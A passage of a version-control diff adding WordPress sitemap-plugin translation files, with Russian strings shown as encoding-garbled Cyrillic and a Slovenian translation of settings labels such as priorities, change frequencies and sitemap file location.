+msgstr "ÐÑÐºÐ»ÑÑÐžÑÑ ÑÐ»ÐµÐŽÑÑÑÐžÐµ ÑÑÐ°ÑÑÐž ÐžÐ»Ðž ÑÑÑÐ°ÐœÐžÑÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº ÐžÐŽÐµÐœÑÐžÑÐžÐºÐ°ÑÐŸÑÐŸÐ² (ID), ÑÐ°Ð·ÐŽÐµÐ»ÐµÐœÐœÑÑ
+ Ð·Ð°Ð¿ÑÑÑÐŒÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+msgid "Additional pages"
+msgstr "ÐÐŸÐ¿ÐŸÐ»ÐœÐžÑÐµÐ»ÑÐœÑÐµ ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "ÐÐŽÐµÑÑ ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÑÐºÐ°Ð·Ð°ÑÑ ÑÐ°Ð¹Ð»Ñ ÐžÐ»Ðž URL, ÐºÐŸÑÐŸÑÑÐµ ÐŽÐŸÐ»Ð¶ÐœÑ Ð±ÑÑÑ Ð²ÐºÐ»ÑÑÐµÐœÑ Ð² ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°, ÐœÐŸ ÐœÐµ Ð¿ÑÐžÐœÐ°ÐŽÐ»ÐµÐ¶Ð°ÑÐžÐµ ÐÐ°ÑÐµÐŒÑ ÐŽÐœÐµÐ²ÐœÐžÐºÑ/WordPress.<br />ÐÐ°Ð¿ÑÐžÐŒÐµÑ,ÐµÑÐ»Ðž ÐÐ°Ñ ÐŽÐŸÐŒÐµÐœ www.foo.com, Ð° ÐÐ°Ñ ÐŽÐœÐµÐ²ÐœÐžÐº ÑÐ°ÑÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœ Ð² www.foo.com/blog, ÐÐ°ÐŒ ÐŒÐŸÐ¶ÐµÑ Ð¿ÐŸÐœÐ°ÐŽÐŸÐ±ÐžÑÑÑÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÐŽÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ ÐžÐ· www.foo.com"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+msgid "Note"
+msgstr "ÐÐ°ÐŒÐµÑÐ°ÐœÐžÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ÐÑÐ»Ðž ÐÐ°Ñ ÐŽÐœÐµÐ²ÐœÐžÐº ÑÐ°ÑÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœ Ð² Ð¿ÐŸÐŽÐºÐ°ÑÐ°Ð»ÐŸÐ³Ðµ, Ðž ÐÑ Ñ
+ÐŸÑÐžÑÐµ ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÑÑÑÐ°ÐœÐžÑÑ, ÐºÐŸÑÐŸÑÑÐµ ÐœÐ°Ñ
+ÐŸÐŽÑÑÑÑ ÐÐ«ÐšÐ Ð² ÑÑÑÑÐºÑÑÑÐµ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ÐŸÐ², ÐÐ°ÐŒ ÐÐÐÐÐ¥ÐÐÐÐÐ Ð¿ÐŸÐŒÐµÑÑÐžÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ð² ÐºÐŸÑÐœÐµÐ²ÐŸÐ¹ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ (Ð¡ÐŒ. ÑÐµÐºÑÐžÑ &quot;Ð Ð°Ð·ÐŒÐµÑÐµÐœÐžÐµ ÑÐ°Ð¹Ð»Ð° Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ°&quot; ÐœÐ° ÑÑÐŸÐ¹ ÑÑÑÐ°ÐœÐžÑÐµ)!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+msgid "URL to the page"
+msgstr "URL ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ URL ÑÑÐŸÐ¹ ÑÑÑÐ°ÐœÐžÑÑ. ÐÑÐžÐŒÐµÑÑ: http://www.foo.com/index.html ÐžÐ»Ðž www.foo.com/home "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+msgid "Priority"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ÐÑÐ±ÐµÑÐžÑÐµ Ð¿ÑÐžÐŸÑÐžÑÐµÑ ÑÑÐŸÐ¹ ÑÑÑÐ°ÐœÐžÑÑ ÐŸÑÐœÐŸÑÐžÑÐµÐ»ÑÐœÐŸ ÐŽÑÑÐ³ÐžÑ
+ ÑÑÑÐ°ÐœÐžÑ. ÐÐ°Ð¿ÑÐžÐŒÐµÑ, ÐÐ°ÑÐ° Ð³Ð»Ð°Ð²ÐœÐ°Ñ ÑÑÑÐ°ÐœÐžÑÐ° ÐŒÐŸÐ¶ÐµÑ ÐžÐŒÐµÑÑ Ð±ÐŸÐ»ÐµÐµ Ð²ÑÑÐŸÐºÐžÐ¹ Ð¿ÑÐžÐŸÑÐžÑÐµÑ, ÑÐµÐŒ ÑÑÑÐ°ÐœÐžÑÐ° Ñ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐµÐ¹ ÐŸ ÑÐ°Ð¹ÑÐµ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+msgid "Last Changed"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐ¹ ÑÐ°Ð· ÐžÐ·ÐŒÐµÐœÑÐ»Ð°ÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÐŽÐ°ÑÑ Ð¿ÐŸÑÐ»ÐµÐŽÐœÐµÐ³ÐŸ ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑ Ð² ÑÐŸÑÐŒÐ°ÑÐµ YYYY-MM-DD (2005-12-31, ÐœÐ°Ð¿ÑÐžÐŒÐµÑ) (ÐœÐµ ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+msgid "Change Frequency"
+msgstr "Ð§Ð°ÑÑÐŸÑÐ° ÐžÐ·ÐŒÐµÐœÐµÐœÐžÐ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+msgid "#"
+msgstr "â"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+msgid "No pages defined."
+msgstr "ÐÐµÑ ÑÑÑÐ°ÐœÐžÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+msgid "Add new page"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ ÐœÐŸÐ²ÑÑ ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+msgid "Post Priority"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑ ÑÑÐ°ÑÑÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "ÐÑÐ±ÐµÑÐžÑÐµ, ÐºÐ°Ðº Ð±ÑÐŽÐµÑ Ð²ÑÑÐžÑÐ»ÑÑÑÑÑ Ð¿ÑÐžÐŸÑÐžÑÐµÑ ÐºÐ°Ð¶ÐŽÐŸÐ¹ ÑÑÐ°ÑÑÐž:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "ÐÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐŸÐµ Ð²ÑÑÐžÑÐ»ÐµÐœÐžÐµ Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ÐÑÐµ ÑÑÐ°ÑÑÐž Ð±ÑÐŽÑÑ ÐžÐŒÐµÑÑ ÐŸÐŽÐžÐœÐ°ÐºÐŸÐ²ÑÐ¹ Ð¿ÑÐžÐŸÑÐžÑÐµÑ, ÐºÐŸÑÐŸÑÑÐ¹ ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐµÐœ Ð² &quot;ÐÑÐžÐŸÑÐžÑÐµÑÐ°Ñ
+&quot;"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+msgid "Location of your sitemap file"
+msgstr "Ð Ð°ÑÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœÐžÐµ ÐÐ°ÑÐµÐ³ÐŸ ÑÐ°Ð¹Ð»Ð° Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+msgid "Automatic detection"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐŸÐµ ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐµÐœÐžÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+msgid "Filename of the sitemap file"
+msgstr "ÐÐŒÑ ÑÐ°Ð¹Ð»Ð° Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected Path"
+msgstr "ÐÐ±ÐœÐ°ÑÑÐ¶ÐµÐœÐœÑÐ¹ Ð¿ÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected URL"
+msgstr "ÐÐ±ÐœÐ°ÑÑÐ¶ÐµÐœÐœÑÐ¹ URL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+msgid "Custom location"
+msgstr "ÐÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÐµÐ»ÑÑÐºÐŸÐµ ÑÐ°ÑÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœÐžÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ÐÐ±ÑÐŸÐ»ÑÑÐœÑÐ¹ ÐžÐ»Ðž ÐŸÑÐœÐŸÑÐžÑÐµÐ»ÑÐœÑÐ¹ Ð¿ÑÑÑ Ðº ÑÐ°Ð¹Ð»Ñ Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ°, Ð²ÐºÐ»ÑÑÐ°Ñ ÐžÐŒÑ ÑÐ°Ð¹Ð»Ð°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+msgid "Example"
+msgstr "ÐÑÐžÐŒÐµÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ÐÐ°Ð¿ÐŸÐ»ÐœÐžÑÐµ URL Ðº ÑÐ°Ð¹Ð»Ñ Ñ ÐºÐ°ÑÑÐŸÐ¹ ÑÐ°Ð¹ÑÐ°, Ð²ÐºÐ»ÑÑÐ°Ñ ÐžÐŒÑ ÑÐ°Ð¹Ð»Ð°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+msgid "Sitemap Content"
+msgstr "Ð¡ÐŸÐŽÐµÑÐ¶Ð°ÐœÐžÐµ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+msgid "Include homepage"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÐŽÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+msgid "Include posts"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐ°ÑÑÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+msgid "Include static pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐ°ÑÐžÑÐµÑÐºÐžÐµ ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+msgid "Include categories"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÐºÐ°ÑÐµÐ³ÐŸÑÐžÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+msgid "Include archives"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ Ð°ÑÑ
+ÐžÐ²Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+msgid "Include tag pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÑÐ°ÐœÐžÑÑ ÐŒÐµÑÐŸÐº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+msgid "Include author pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð°Ð²ÑÐŸÑÐŸÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+msgid "Change frequencies"
+msgstr "ÐÐ·ÐŒÐµÐœÐžÑÑ ÑÐ°ÑÑÐŸÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ÐÐ±ÑÐ°ÑÐžÑÐµ Ð²ÐœÐžÐŒÐ°ÐœÐžÐµ, ÑÑÐŸ Ð·ÐœÐ°ÑÐµÐœÐžÐµ ÑÑÐŸÐ¹ ÐŒÐµÑÐºÐž ÑÑÐžÑÐ°ÐµÑÑÑ ÑÐµÐºÐŸÐŒÐµÐœÐŽÐ°ÑÐžÐµÐ¹ Ðž ÐœÐµ ÑÐ²Ð»ÑÐµÑÑÑ ÐºÐŸÐŒÐ°ÐœÐŽÐŸÐ¹. ÐÐ°Ð¶Ðµ ÐºÐŸÐ³ÐŽÐ° Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐµ ÑÐŸÐ±ÐŸÑÑ Ð±ÐµÑÑÑ ÑÑÑ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ Ðº ÑÐ²ÐµÐŽÐµÐœÐžÑ ÐŽÐ»Ñ Ð¿ÑÐžÐœÑÑÐžÑ ÑÐµÑÐµÐœÐžÐ¹, ÐŸÐœÐž ÐŒÐŸÐ³ÑÑ ÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÑÑ ÑÑÑÐ°ÐœÐžÑÑ, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÐµ \"ÑÐ°Ð· Ð² ÑÐ°Ñ\" ÑÐµÐ¶Ðµ, ÑÐµÐŒ Ð·Ð°Ð¿ÑÐŸÑÐµÐœÐŸ, Ðž ÐŸÐœÐž ÐŒÐŸÐ³ÑÑ ÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÑÑ ÑÑÑÐ°ÐœÐžÑÑ, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÐµ ÐºÐ°Ðº \"ÑÐ°Ð· Ð² Ð³ÐŸÐŽ\" ÑÐ°ÑÐµ, ÑÐµÐŒ Ð·Ð°Ð¿ÑÐŸÑÐµÐœÐŸ. Ð¢Ð°ÐºÐ¶Ðµ Ð±ÑÐ²Ð°ÐµÑ, ÑÑÐŸ Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐµ ÑÐŸÐ±ÐŸÑÑ ÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÑÑ ÑÑÑÐ°ÐœÐžÑÑ, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÐµ ÐºÐ°Ðº \"ÐœÐžÐºÐŸÐ³ÐŽÐ°\", ÐŸÑÐŒÐµÑÐ°Ñ ÐœÐµ Ð¿ÑÐµÐŽÑÑÐŒÐŸÑÑÐµÐœÐœÑÐµ ÐžÐ·ÐŒÐµÐœÐµÐœÐžÑ ÐœÐ° ÑÑÐžÑ
+ ÑÑÑÐ°ÐœÐžÑÐ°Ñ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+msgid "Homepage"
+msgstr "ÐÐ»Ð°Ð²ÐœÐ°Ñ ÑÑÑÐ°ÐœÐžÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+msgid "Posts"
+msgstr "Ð¡ÑÐ°ÑÑÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+msgid "Static pages"
+msgstr "Ð¡ÑÐ°ÑÐžÑÐœÑÐµ ÑÑÑÐ°ÐœÐžÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+msgid "Categories"
+msgstr "ÐÐ°ÑÐµÐ³ÐŸÑÐžÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Ð¢ÐµÐºÑÑÐžÐ¹ Ð°ÑÑ
+ÐžÐ² Ð·Ð° ÑÑÐŸÑ ÐŒÐµÑÑÑ (ÐÐŸÐ»Ð¶ÐµÐœ Ð±ÑÑÑ ÑÐµÐŒ Ð¶Ðµ, ÑÑÐŸ Ðž ÐÐ»Ð°Ð²ÐœÐ°Ñ ÑÑÑÐ°ÐœÐžÑÐ°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ð¡ÑÐ°ÑÑÐµ Ð°ÑÑ
+ÐžÐ²Ñ (ÐÐ·ÐŒÐµÐœÑÑÑÑÑ ÑÐŸÐ»ÑÐºÐŸ Ð² ÑÐ»ÑÑÐ°Ðµ, ÐµÑÐ»Ðž ÐÑ ÑÐµÐŽÐ°ÐºÑÐžÑÑÐµÑÐµ ÑÑÐ°ÑÑÐµ ÑÑÐ°ÑÑÐž)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+msgid "Tag pages"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÑ ÐŒÐµÑÐŸÐº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+msgid "Author pages"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÑ Ð°Ð²ÑÐŸÑÐŸÐ²"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+msgid "Priorities"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Ð¡ÑÐ°ÑÑÐž (ÐÑÐ»Ðž Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐŸÐµ Ð²ÑÑÐžÑÐ»ÐµÐœÐžÐµ Ð·Ð°Ð¿ÑÐµÑÐµÐœÐŸ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "ÐÐžÐœÐžÐŒÐ°Ð»ÑÐœÑÐ¹ Ð¿ÑÐžÐŸÑÐžÑÐµÑ ÑÑÐ°ÑÑÐž (ÐÐ°Ð¶Ðµ ÐµÑÐ»Ðž  Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐŸÐµ Ð²ÑÑÐžÑÐ»ÐµÐœÐžÐµ ÑÐ°Ð·ÑÐµÑÐµÐœÐŸ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+msgid "Archives"
+msgstr "ÐÑÑ
+ÐžÐ²Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+msgid "Update options"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+msgid "Reset options"
+msgstr "ÐÐµÑÐœÑÑÑ ÐžÑÑ
+ÐŸÐŽÐœÑÐµ Ð·ÐœÐ°ÑÐµÐœÐžÑ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sl_SI.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sl_SI.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-sl_SI.po	(revision 44)
@@ -0,0 +1,325 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap-sl_SI\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2006-11-13 09:33+0100\n"
+"Last-Translator: m2-j <m2j@t-2.net>\n"
+"Language-Team: Milan Jungic <milanche@m2-j.info>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Slovenian\n"
+"X-Poedit-Country: SLOVENIA\n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "vedno"
+
+msgid "hourly"
+msgstr "vsako uro"
+
+msgid "daily"
+msgstr "dnevno"
+
+msgid "weekly"
+msgstr "tedensko"
+
+msgid "monthly"
+msgstr "meseÄno"
+
+msgid "yearly"
+msgstr "letno"
+
+msgid "never"
+msgstr "nikoli"
+
+msgid "Detected Path"
+msgstr "Zaznana pot:"
+
+msgid "Example"
+msgstr "Primer"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absolutna ali relativna pot do datoteke naÄrta strani (vkljuÄno z imenom datoteke)"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "URL naslov datoteke naÄrta strani (vkljuÄno z imenom datoteke)."
+
+msgid "Automatic location"
+msgstr "Samodejno lociranje"
+
+msgid "Manual location"
+msgstr "RoÄno lociranje"
+
+msgid "OR"
+msgstr "ALI"
+
+msgid "Location of your sitemap file"
+msgstr "Ime datoteke naÄrta strani"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Äe je vaÅ¡ blog v podimeniku in ÅŸelite v naÄrt strani dodatki datoteke, ki se nahajajo izven tega podimenika, morate datoteko naÄrta strani shraniti v korenski imenik, ki se nahaja nad vsemi imeniki katere ÅŸelite v naÄrt strani vkljuÄiti (glejte sekcijo &quot;Ime datoteke naÄrta strani&quot; na tej strani)!"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "Nastavitve so posodobljene"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "Napaka"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Nova stran je dodana. Za uveljavitev sprememb, izberite &quot;Shrani stran&quot;."
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "Strani so shranjene."
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "Napaka pri shranjevanju strani"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "Stran je izbrisana. Za uveljavitev sprememb, izberite &quot;Shrani stran&quot;."
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "Spremembe so razveljavljene."
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Generator naÄrta strani"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "RoÄno"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "Izberite to moÅŸnost, Äe ÅŸelite takoj ustvariti naÄrt strani."
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Ustvari naÄrt strani"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "Dodatne strani"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Tukaj lahko navedete datoteke in URL naslove, ki niso del vaÅ¡e Wordpress namestitve, ÅŸelite jih pa vkljuÄiti v naÄrt strani.<br />Primer: VaÅ¡a domena je www.foo.com, blog se nahaja na naslovu www.foo.com/blog, medtem, ko vi v naÄrt strani ÅŸelite vkljuÄiti tudi naslov www.foo.com s pripadajoÄo vsebino."
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "URL naslov strani"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Vnestite URL naslov strani. Primer: www.foo.com ali www.foo.com/home"
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "Prioriteta"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Izberi prioriteto strani, glede na ostale strani. Npr. za vaÅ¡o domaÄo stran www.foo.com ÅŸelite morda viÅ¡jo prioriteto kot za vaÅ¡ blog www.foo.com/blog? "
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "ZadnjiÄ spremenjeno"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Vnesite datum zadnje spremembe JJJJ-MM-TT (oblika: 2005-12-31). (opcija)"
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "Spremeni frekvenco"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "Nobena stran ni bila Å¡e definirana."
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "Dodaj novo stran"
+
+# sitemap.php:617:
+#: sitemap.php:617
+msgid "Save page changes"
+msgstr "Shrani spremembe"
+
+# sitemap.php:618:
